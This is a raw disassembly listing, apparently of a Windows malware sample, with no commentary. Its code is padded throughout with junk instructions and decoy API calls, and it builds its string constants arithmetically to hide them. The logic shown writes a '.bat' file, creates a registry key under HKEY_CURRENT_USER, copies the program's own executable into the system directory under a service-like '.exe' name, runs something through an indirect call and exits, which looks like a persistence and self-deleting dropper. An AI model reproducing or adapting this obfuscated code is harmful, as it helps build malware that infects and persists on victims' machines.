pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
lodsb al, byte [esi]
pushfd
push ebx
btr ebx, 4
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pcmpgtd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
stosb byte es:[edi], al
or al, al
jne 0x41066f
push dword [ebp - 0x3c]
call fcn.00415ec0
pushfd
push edx
rol edx, 2
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edi, dword [ebp - 0x3c]
lea edi, [eax + edi]
push 0x7461622e
pop dword [edi]
pushfd
push ebx
rol ebx, 0x16
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x41070c
add edi, 4
pushfd
push ecx
shl ecx, 3
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsin
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
xor al, al
pushfd
push eax
btr eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
clc
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
stosb byte es:[edi], al
popal
push 0x104
push dword [ebp - 4]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x3c]
call sub.KERNEL32.DLL_CreateFileA
mov ebx, eax
mov edx, eax
mov dword [ebp - 0xac], 0x3a
pushfd
push esi
rcr esi, 0x19
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x4107a6
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x54]
call fcn.00415ec0
mov edx, eax
pushfd
push eax
rol eax, 7
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push eax
pushfd
xadd eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
push 0x4218d3
push edx
push dword [ebp - 0x54]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0xa0d
pushfd
push eax
bt eax, 0x13
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pcmpeqd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov ecx, esp
pushfd
push eax
shl eax, 0x13
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push eax
setle al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0
push 0x4218d3
push 2
push ecx
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push eax
btr eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fptan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
pop ecx
mov edx, 4
push 0
push eax
mov dword [esp], 0xb3fe6565
push edx
mov edx, esp
add edx, 4
add dword [edx], 0x6c6dffff
pop edx
mov ecx, esp
push 0
push 0x4218d3
push edx
push ecx
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push eax
shl eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ebx
setb bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pop eax
pushfd
push eax
shl eax, 6
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop ecx
mov dword [ebp - 0xac], 0x22
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call fcn.00415ec0
mov edx, eax
pushfd
push eax
rcr eax, 0x16
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ebx
setg bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push 0
push 0x4218d3
push edx
push dword [ebp - 4]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0xa0d
pushfd
push eax
rcr eax, 0x1d
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov ecx, esp
pushfd
push esi
rol esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fxch st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 0
push 0x4218d3
push 2
push ecx
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push ebx
ror ebx, 0x1c
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
stc
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pop eax
push esi
mov esi, esp
mov ecx, 9
pushfd
push ecx
bts ecx, 9
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
push edx
pushfd
cmovo ebx, edx
popfd
pop edx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0x6d93ffff
mov dword [esp], 0x6d93ffdf
xor dword [esp], 0x6d93ffff
pushfd
push eax
bt eax, 2
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x4109ff
push esi
mov dword [esp], 0x1a8b6977
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0xa617ffff
pop ecx
pushfd
push esi
rcl esi, 0x14
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x410a42
push eax
mov dword [esp], 0x7fae666a
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xe571ffff
pop edx
pushfd
push edx
ror edx, 0x18
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ecx
push edx
pushfd
add ecx, edx
popfd
pop edx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov edx, esp
pushfd
push ebx
btc ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x410aa7
push 0
push 0x4218d3
push ecx
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
mov esp, esi
pushfd
push ebx
bt ebx, 3
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
por mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
pop esi
pushfd
push ecx
rol ecx, 0xd
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pavgb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call fcn.00415ec0
mov edx, eax
pushfd
push eax
rol eax, 0
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
seta al
pop eax
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push 0
push 0x4218d3
push edx
push dword [ebp - 4]
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push esi
btr esi, 0xc
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fxam
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push ebx
rol ebx, 3
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push esi
pushfd
cmovl esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov ecx, 6
pushfd
push edx
btr edx, 0x1b
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
pushfd
push edx
rol edx, 0xd
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
push ecx
pushfd
cmovs edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov esi, esp
pushfd
push esi
rcr esi, 0x1c
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
movq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0x5d99ffff
mov dword [esp], 0x5d99df90
xor dword [esp], 0x5d99ffff
pushfd
push ecx
rcl ecx, 0x1d
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push eax
seta al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
mov dword [esp], 0x51696721
add dword [esp], 0x2305ffff
mov edx, esp
pushfd
push ecx
shl ecx, 0x11
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ebx
setge bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push 0
push 0x4218d3
push ecx
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push edx
rcr edx, 0x12
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov esp, esi
pushfd
push esi
shl esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pmaxsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop esi
pushfd
push esi
btc esi, 9
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push dword [ebp - 0x54]
call fcn.00415ec0
pushfd
push ecx
bts ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
clc
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
mov edx, eax
pushfd
push ecx
rcr ecx, 8
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esi
push ecx
pushfd
sub esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 0
push 0x4218d3
push edx
push dword [ebp - 0x54]
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push edx
rcr edx, 0x13
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x410d0d
push 0xa0d
mov edx, esp
pushfd
push edx
sar edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esi
push edx
pushfd
cmove esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0
push 0x4218d3
push 2
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
pop eax
mov ecx, 4
pushfd
push ecx
ror ecx, 0x1c
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ebx
push esi
pushfd
cmovb ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
mov dword [esp], 0x5d966565
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0xc2d5ffff
pop ebx
pushfd
push eax
bts eax, 0xd
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pmulhw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov edx, esp
pushfd
push esi
bts esi, 0xc
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push edx
push edx
pushfd
cmovp edx, edx
popfd
pop edx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 0
push 0x4218d3
push ecx
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push esi
btc esi, 0x12
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ecx
setbe cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push edx
shl edx, 0x1d
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x410e2c
push dword [ebp - 0x3c]
call fcn.00415ec0
mov edx, eax
pushfd
push ecx
sar ecx, 2
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0
push 0x4218d3
push edx
push dword [ebp - 0x3c]
push ebx
call sub.KERNEL32.DLL_WriteFile
push 0
push 0x4218d3
push 1
lea eax, [ebp - 0xac]
push eax
push ebx
call sub.KERNEL32.DLL_WriteFile
pushfd
push eax
shl eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push ebx
call sub.KERNEL32.DLL_CloseHandle
pushfd
push ebx
ror ebx, 0x1a
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pavgb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [ebp - 4]
push 0x104
call sub.KERNEL32.DLL_GetCurrentDirectoryA
pushfd
push ecx
ror ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
psubd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0x64
call sub.KERNEL32.DLL_Sleep
push 0
push dword [ebp - 0x3c]
pushfd
push esi
shl esi, 0x1a
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push eax
push edx
pushfd
test edx, eax
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
call dword [0x4218ff]
pushfd
push esi
btc esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ebx
setae bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push 0x8000
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_VirtualFree
pushfd
push ecx
sar ecx, 0xd
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x410f60
push 0
call sub.KERNEL32.DLL_ExitProcess
pushfd
push ecx
shl ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ebx
setae bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
leave
ret
pushfd
push esi
rcr esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [ebp - 8]
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push dword [ebp - 0xb0]
call fcn.00409f0f
push dword [ebp - 0xb0]
push dword [ebp - 8]
call fcn.00415f70
or eax, eax
pushfd
push eax
ror eax, 5
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
jne 0x411017
cmp dword [0x421427], 0
pushfd
push eax
rcr eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push eax
setp al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
jne 0x411099
push 0
call sub.KERNEL32.DLL_ExitProcess
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
push dword [ebp - 0xb0]
call fcn.00415ec0
add eax, dword [ebp - 0xb0]
mov byte [eax - 1], 0
push dword [ebp - 0xb0]
push dword [ebp - 8]
call fcn.00415f70
pushfd
push edx
rcl edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x411074
or eax, eax
pushfd
push edx
shl edx, 0x10
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pminub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
jne 0x411099
push 0
call sub.KERNEL32.DLL_ExitProcess
mov esi, esp
pushfd
push esi
rcl esi, 0xd
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push esi
mov dword [esp], 0xe812636f
add dword [esp], 0x794fffff
pushfd
push eax
bts eax, 2
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
push ecx
pushfd
cmovb esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
and dword [esp], 0xff
pushfd
push esi
sar esi, 0x1b
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
mov dword [esp], 0xa7665c6d
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0x3213ffff
pop edx
pushfd
push ebx
shl ebx, 1
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esi
push eax
pushfd
cmovns esi, eax
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push esi
mov dword [esp], 0x50f57373
add dword [esp], 0x1e73ffff
push eax
mov dword [esp], 0x45fa746f
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x1f5bffff
pop esi
pushfd
push eax
sar eax, 0x15
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x411180
push 0xf55e7274
sub dword [esp], 0x8febffff
pushfd
push edx
btc edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setb al
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0xa8e9ffff
mov dword [esp], 0xebb58c88
xor dword [esp], 0xa8e9ffff
push 0x5fa1ffff
mov dword [esp], 0x30c59196
xor dword [esp], 0x5fa1ffff
pushfd
push eax
bt eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x4111fe
push eax
mov dword [esp], 0x6f9c7467
push esi
mov esi, esp
add esi, 4
add dword [esi], 0xe7bfffff
pop esi
push 0x7a76f71
sub dword [esp], 0x9833ffff
pushfd
push edx
rol edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
psubd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
mov dword [esp], 0x443f4d5d
push esi
mov esi, esp
add esi, 4
add dword [esi], 0x1f29ffff
pop esi
push esi
mov dword [esp], 0x31646178
add dword [esp], 0x340dffff
push esi
mov dword [esp], 0xf80a6f52
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0x83a3ffff
pop ecx
pushfd
push ecx
shl ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
lea edx, [esp]
push 0x42186b
push 0x42186f
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExA
mov esp, esi
pushfd
push edx
ror edx, 0x11
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [0x421873], eax
pushfd
push ecx
bt ecx, 0x1f
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
f2xm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0x104
push dword [ebp - 4]
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
pushfd
push ecx
rol ecx, 0
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push eax
push edx
pushfd
cmove eax, edx
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push dword [ebp - 8]
call fcn.00415ec0
pushfd
push ecx
btr ecx, 5
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push eax
push edx
pushfd
cmova eax, edx
popfd
pop edx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
add eax, dword [ebp - 8]
mov edi, eax
pushfd
push eax
shl eax, 0x1b
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push eax
setge al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
jmp 0x41143a
push 0x6376733a
pop dword [edi]
lea edi, [edi + 4]
push edx
mov dword [esp], 0xf2ef6f69
add dword [esp], 0x8183ffff
pop dword [edi]
lea edi, [edi + 4]
push 0x6578652e
pushfd
push esi
bt esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
push esi
pushfd
and edx, esi
popfd
pop esi
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
pop dword [edi]
pushfd
push edx
btc edx, 0x19
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x4114ad
lea edi, [edi + 4]
pushfd
push edx
bts edx, 0x11
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ecx
push ebx
pushfd
add ecx, ebx
popfd
pop ebx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 0
pushfd
push ebx
rol ebx, 1
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
push ebx
pushfd
add edx, ebx
popfd
pop ebx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
pop dword [edi]
lea edi, [edi + 4]
pushfd
push ebx
btr ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x411523
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push dword [ebp - 8]
call sub.KERNEL32.DLL_CreateFileA
or eax, eax
pushfd
push esi
bts esi, 4
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push edx
push ecx
pushfd
xadd edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
js 0x411822
mov esi, eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 4]
call sub.KERNEL32.DLL_CreateFileA
pushfd
push esi
ror esi, 2
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
packssdw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edi, eax
pushfd
push eax
ror eax, 0x17
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pcmpgtb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push 0
push edi
call sub.KERNEL32.DLL_GetFileSize
pushfd
push edx
rcr edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
cld
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push eax
push 4
push 0x1000
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
push eax
pushfd
push esi
bt esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov edx, dword [esp]
pushfd
push edx
btc edx, 0x1e
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psubsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov ecx, dword [esp + 4]
pushfd
push eax
btc eax, 7
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push eax
pushfd
cmovae esi, eax
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 0
push 0x4218d3
push ecx
push edx
push edi
call sub.KERNEL32.DLL_ReadFile
push esi
call sub.KERNEL32.DLL_SetEndOfFile
mov edx, dword [esp]
pushfd
push ebx
shl ebx, 0xe
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pandn mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov ecx, dword [esp + 4]
pushfd
push eax
btr eax, 0x15
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
fsubp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0
push 0x4218d3
push ecx
push edx
push esi
call sub.KERNEL32.DLL_WriteFile
pushfd
push edx
shl edx, 0x16
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
stc
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
or eax, eax
jne 0x411760
pushfd
push ecx
ror ecx, 0xc
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
psraw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
pop edx
add esp, 4
pushfd
push edx
shl edx, 0x1a
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push esi
pushfd
cmovp esi, esi
popfd
pop esi
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x8000
push 0
push edx
call sub.KERNEL32.DLL_VirtualFree
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push ecx
btr ecx, 2
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x41173a
push edi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push esi
btc esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
por mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
jmp 0x411822
pushfd
push esi
shl esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
seta cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pop eax
pushfd
push ebx
rcr ebx, 6
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ebx
call fcn.00411e77
pop ebx
jmp 0x4117ab
add esp, 4
pushfd
push esi
rcr esi, 0x17
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push eax
setle al
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push 0x8000
push 0
push eax
call sub.KERNEL32.DLL_VirtualFree
pushfd
push esi
rol esi, 0xb
pop esi
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psubusw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push esi
call sub.KERNEL32.DLL_CloseHandle
pushfd
push ecx
ror ecx, 0xa
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push ecx
push esi
pushfd
cmovnp ecx, esi
popfd
pop esi
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push edi
call sub.KERNEL32.DLL_CloseHandle
jmp 0x411db4
push 0x104
push dword [ebp - 8]
call sub.KERNEL32.DLL_GetSystemDirectoryA
pushfd
push esi
ror esi, 0x11
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
